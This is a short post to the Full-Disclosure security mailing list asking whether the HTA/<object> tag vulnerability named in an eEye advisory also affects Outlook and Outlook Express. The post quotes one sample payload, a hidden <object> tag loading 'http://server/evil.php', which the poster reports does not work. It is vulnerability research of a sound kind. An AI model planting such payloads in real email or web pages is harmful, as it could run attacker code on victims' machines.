HTA/<object> vulnerability

[<titus () hush com>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Has anyone has been able to confirm that the HTA/<object> tag vulnerability
is exploitable in Outlook and Outlook express?  The EEYE advisory states
that its possible but I haven't seen it work.  The following does not
work.

<div style.none><object data="http://server/evil.php";></object></div>

Info from Microsoft, CERT, and SecurityFocus only reference IE as being
vulnerable.  Was that an assumption on EEYE's part or is it exploitable
in applications other than IE.

Thanks.

- -titus
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.3

wkYEARECAAYFAj9fLw0ACgkQlM5X+CwKCzGxywCgrPsqLQkTOzNpSjzgYHXcQwBAN7wA
n2qt7P+ysZwiu1gUlI5PYhwWPrpc
=CSmx
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html